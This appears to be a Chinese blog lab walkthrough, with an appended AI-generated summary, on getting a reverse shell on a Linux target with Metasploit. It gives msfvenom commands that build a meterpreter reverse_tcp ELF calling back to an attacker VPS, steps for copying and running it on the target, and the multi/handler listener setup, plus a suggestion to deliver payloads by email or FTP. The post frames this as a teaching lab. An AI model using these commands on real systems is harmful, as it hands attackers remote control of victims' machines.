msf--Linux反弹shell--一看就会的实验

该博客详细描述了一次Linux环境下的渗透测试过程,包括在VPS上生成木马,通过rz/sz工具在Windows和Linux之间传输文件,赋予木马执行权限,执行木马并利用msfconsole设置监听器进行反向连接。整个过程旨在演示安全测试技术,强调不得用于非法活动。
摘要由CSDN通过智能技术生成

环境如下

vps :Linux ubuntu 4.15.0-180-generic (已经打开8989端口)

win:Windows Feature Experience Pack 120.2212.4180.0(可以随意)

靶机:Linux ubuntu 4.18.0-25-generic

过程如下

1.在vps里面生成木马
 msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=xx.xx.xx.xx LPORT=8989 -f elf > asd

 2.将木马下载到本机桌面
sz asd

 

 3.将木马拖拽或者rz(上传)
    使用rz上传、sz下载,需要安装lrzsz模块
    apt install lrzsz

 4.cd到木马文件的目录下,使用ll查看是否有执行权限。

 5.执行木马
./asd

 6.切换到vps,进入到msfconsole工具
msfconsole

 7.进入到exploit/multi/handler模块,使用options查看需要配置的参数
use exploit/multi/handler
options

 8.修改payload模块、lhost参数、lport参数
set payload linux/x86/meterpreter/reverse_tcp
set lhost x.x.x.x
set lport xxxx

 9.使用options查看是否配置成功,然后使用show missing
options
show missing

 

 10.使用run执行
run

 以上仅供参考,不得用于从事违法活动。

MSF(Metasploit Framework)是一个功能强大的渗透测试工具,它提供了生成一句话反弹shell的工具msfvenom。使用msfvenom可以生成各种类型的命令行一句话反弹shell。具体使用方法如下: 1. 首先,打开终端并输入以下命令来生成一句话反弹shell的payload: ``` msfvenom -p linux/x86/shell_reverse_tcp LHOST=<攻击者IP> LPORT=<监听端口> -f <输出格式> -o <输出文件> ``` 其中,`<攻击者IP>`是你的公网IP地址,`<监听端口>`是你希望监听的端口号,`<输出格式>`是你希望生成的payload的格式,例如`elf`或`raw`,`<输出文件>`是生成的payload保存的文件名。 2. 接下来,你可以将生成的payload传输到目标Linux机器上。你可以使用各种方法,例如通过邮件、FTP或者直接复制到目标机器上。 3. 在目标机器上,你需要执行payload来建立与攻击者的连接。你可以使用以下命令来执行payload: ``` bash <payload文件> ``` 其中,`<payload文件>`是你传输到目标机器上的payload文件名。 4. 一旦目标机器执行了payload,它将与你的攻击机器建立连接,并将shell反弹给你。 请注意,使用Metasploit和msfvenom进行渗透测试需要遵守法律和道德规范。只能在合法授权的范围内使用这些工具。 #### 引用[.reference_title] - *1* *2* [渗透测试常用反弹shell方法(如何渗透测试反弹shell?)-Linux篇(゚益゚メ) 渗透测试](https://blog.csdn.net/qq_39611230/article/details/115751964)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^insert_down1,239^v3^insert_chatgpt"}} ] [.reference_item] - *3* [linux各种一句话反弹shell总结](https://blog.csdn.net/qq_50854790/article/details/122558518)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^insert_down1,239^v3^insert_chatgpt"}} ] [.reference_item] [ .reference_list ]
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值